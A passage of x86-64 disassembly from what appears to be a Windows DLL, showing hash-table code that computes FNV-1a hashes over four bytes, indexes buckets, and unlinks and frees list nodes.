mov qword [r13], rbx
mov qword [rbx + 8], r13
mov r13, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x78]
mov rax, rbp
add rsp, 0x50
pop r14
pop rsi
pop rbp
ret
cmp qword [rsp + 0x20], r14
jne 0x180010c2f
mov qword [r15], r12
mov rax, r12
jmp 0x180010c32
mov rax, r13
mov qword [r15 + 8], rax
cmp rbx, rbp
je 0x180010bed
nop dword [rax + rax]
movzx r15d, byte [rbx + 0x10]
movabs rdx, 0x100000001b3
movabs rax, 0xcbf29ce484222325
xor r15, rax
movzx eax, byte [rbx + 0x11]
imul r15, rdx
xor r15, rax
movzx eax, byte [rbx + 0x12]
imul r15, rdx
xor r15, rax
movzx eax, byte [rbx + 0x13]
imul r15, rdx
xor r15, rax
imul r15, rdx
and r15, qword [rsi + 0x30]
shl r15, 4
add r15, qword [rsp + 0x30]
mov r14, qword [r15 + 8]
mov rcx, rbx
mov rdi, rbx
mov rbx, qword [rbx]
mov edx, 0x18
call fcn.18015bd38
dec qword [rsi + 0x10]
cmp rdi, r14
je 0x180010cb8
cmp rbx, rbp
jne 0x180010c92
jmp 0x180010bea
mov qword [r15], r12
mov qword [r15 + 8], r12
cmp rbx, rbp
jne 0x180010c40
jmp 0x180010bed